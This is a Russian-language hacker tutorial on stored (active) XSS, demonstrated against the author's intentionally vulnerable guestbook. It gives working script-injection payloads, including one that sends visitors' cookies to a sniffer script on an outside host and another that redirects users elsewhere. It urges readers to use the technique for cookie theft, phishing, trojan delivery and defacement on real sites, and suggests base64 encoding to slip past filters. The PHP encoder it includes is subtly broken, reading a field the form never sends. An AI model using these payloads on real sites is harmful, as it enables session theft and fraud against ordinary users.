[ Активный XSS ]

XSS - Cross Site Scripting данный вид атаки приминяется
для вставки своего кода в web-приложения для кражи cookies
и не только, он бывает двух видов пассивный и активный,
в данном случаее да и всегда нам нужен именно активный XSS,
что бы могли произвести свои черные дела на сайте жертвы,
для примера я написал самую бажную гостевую книгу и на ней
мы будем проводить опыты, гостевая которая будет под нашем
прицелом вообще нигде не весит, но такие баги как у меня
вы можите найти в инете, к примеру где предлогаются
бесплатные гостевые книги без использования MySQL и юзают
текстовые файлы. И так давайте скопируем мою гостевуху на
свой сервер или виртуальный сервер типа "Денвер" и
запустим ее и добавим несколько постов как показано на
рисунке "1.jpg".

Как видно это самая простая гостевая, хотя ее и гостевой
назвать нельзя, но суть материала показать, как можно
заюзать активный XSS, так что давай напишем в поле
"Ник" "><script>alert('Bug')</script><" а поле для текста
можно тоже самое или какое нить сообщение, к примеру
"Я нашел БАГ :))" и увидим то что показано на рисунке "2.jpg"
Так мы видим что есть место XSS - атаке, так как нечего
у меня не фильтруется, что мы можем сделать? давай
попробуем провести записи в файл без заполнения формы
сообщения, а составим такой вот код:

<script>document.write("Записано JavaScript'ом")</script>

Результат на рисунке "3.jpg", хехе думаешь такое не возможно?
такое вполне реально, так скрипт записи в файл у меня
вообще не проверяет входные данные. Понимаешь к чему я клоню?
Если ты нашел активыный XSS, ты можешь без труда уничтожить,
зафлудить, задефейсить, красть кукисы пользователей которые
заходят на данную страницу. Если вставим такой код с
адресом своего снифера:

<script>document.location.href='http://xss/images/snifer.php?'+document.cookie</script>

То тогда мы сможем без труда украсить кукисы юзверей которые
тусуются на сайте с XSS-багой :). Если не полениться,
можно сделать "fake" подделку ресурса или сайт от имени
ресурса с просьбой скачать какой-нибудь файл, или перенаправить
пользователей на свой затрояненый файл, да кароче все что
угодно сделать, к примеру этот код:

<script>document.location.replace("http://22h.vrlife.ru")</script>

К обращению к гостевухе, перекинет на сайт команды [22H] Team :),
но вы можете использовать активный XSS как хотите, этот материал
тому доказание, конечно да не всегда может прокатить или найти
активный XSS в интернете, и вы скажите ну вот у тебя нет
фильтра а у других есть фильтры, и как нам в таком деле
поступать? И тут я вам скажу что есть выход, это
закодировать свой javascript код base64 алгоритмом и так
же можно попробовать и другими алгоритмами кодирования,
для кодирования base64 алгоритмом можно написать такой код:


 <html>
 <head>
 <title>Кодируем JavaScript</title>
 </head>
 <body>
 <form method="POST">
 <input type="text" name="java" size="60">
 <input type="submit" name="enter" value="Кодируем"><br>
 </form>

  <?php
     if ( $_POST['enter'] == TRUE )
        {
          echo base64_encode($_POST['code']) . "<br>";
        }
  ?>

 </html>

Нам останеться только вставить свой javascript в поле и
нажать "кодируем" после этого на экране появится закодированный
код, мы можем его впарить участнику гостевухи или какого-нибудь
друго ресурса где имеет место фильтрация или защита от
XSS-уязвимости, думаю на этой ноте я могу закончить, от
тебя лишь требуется фантазия, как ты сможешь заюзать XSS
тебе решать, главное экспериментировать и тренероваться,
ну и конечно знать JavaScript :)

P.S. Гостевая и иллюстрации лежат в include/xss/*

(c) Outlaw